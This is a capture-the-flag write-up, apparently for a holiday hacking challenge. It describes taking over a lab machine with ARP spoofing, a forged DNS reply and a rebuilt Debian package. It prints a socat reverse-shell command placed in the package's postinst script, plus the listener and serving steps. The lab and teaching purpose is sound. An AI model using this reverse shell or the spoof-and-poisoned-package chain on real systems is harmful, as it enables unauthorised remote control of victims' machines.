Hacking Series Part 5

Challenge: ARP Shenanigans

4 min readJan 28, 2021


Category: network exploitation

We are given a terminal on a machine that we control and are told to break into another machine on the same network in order to retrieve a specific file. There were three main parts to this objective: crafting an ARP reply, crafting a DNS query response, and rebuilding a debian package that contains a reverse shell as a payload. Connecting back to the reverse shell is how I was able to take control of the system and access the file needed.

The ARP reply is the first part of this process. We know that this is needed because if you sniff the network traffic using tcpdump -nni eth0 you would see the the following.

There are multiple ARP requests that want to know the MAC of A Python script is given as a template to craft our own ARP reply.

We need to fill in the relevant information above. To get the destination MAC, I first needed to use ping so that the MAC can be cached in the ARP table. I then used arp -a to see the results.

The source MAC can be found using ifconfig since we want to provide our own MAC to the reply. arp_response.op would need to be 2, since that is the code for an ARP reply. I got the rest of the variables from looking at a sample ARP reply, since they are usually the same and should work in this case. arp_response.hwsrc and .psrc need to be filled in with our own MAC and IP respectively. arp_response.hwdst and .pdst need to be filled in with the destination MAC and IP respectively.

In the end, the script should look something like this. Since the MAC of our own terminal changes every time it resets, some source information needs to be changed accordingly, which is reserved with “OUR OWN MAC”.

Once the script is run, a DNS query is sent to our IP immediately after. We have another Python script that is a template for a DNS query response.

The DNS response values are missing, which need to be restored in order to reply successfully. All of the src and dst values are essentially set to the same values that we used in our previous script. My crafted DNS response is shown below. It sends the IP of the terminal in response to the query.

Again, since our IP and MAC change every time the terminal is reset, the source information needs to be changed accordingly. Now, an HTTP request is sent which looks to download a specific .deb file called suriv_amd64.deb. I assumed that after this file is downloaded, it is automatically extracted, and therefore, the postinst script will run directly after.

So, I first selected a .deb file found in the deb directory in the terminal.

I tried various ones, such as the netcat one, but only had success with the socat .deb file. I added the following lines to a postinst script.

socat TCP4:OURIP:4545 EXEC:/bin/bash

Then I rebuilt the socat .deb file and renamed it to suriv_amd64 (the name the HTTP request was looking for). Once I created the requested custom path to the .deb file (pub/jfrost/backdoor/), I moved the file into that path. Using python3 -m http.server 80 , I created a quick server to serve up the files.

In another terminal, I started a listener for the reverse shell using socat -d -d TCP4-LISTEN:4545 STDOUT . After I sent the ARP and DNS responses, the HTTP request was made and the .deb file was downloaded. A few seconds later, I got a reverse shell. I could now read the contents of the file /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt and find the answer to the objective.

Tanta Kringle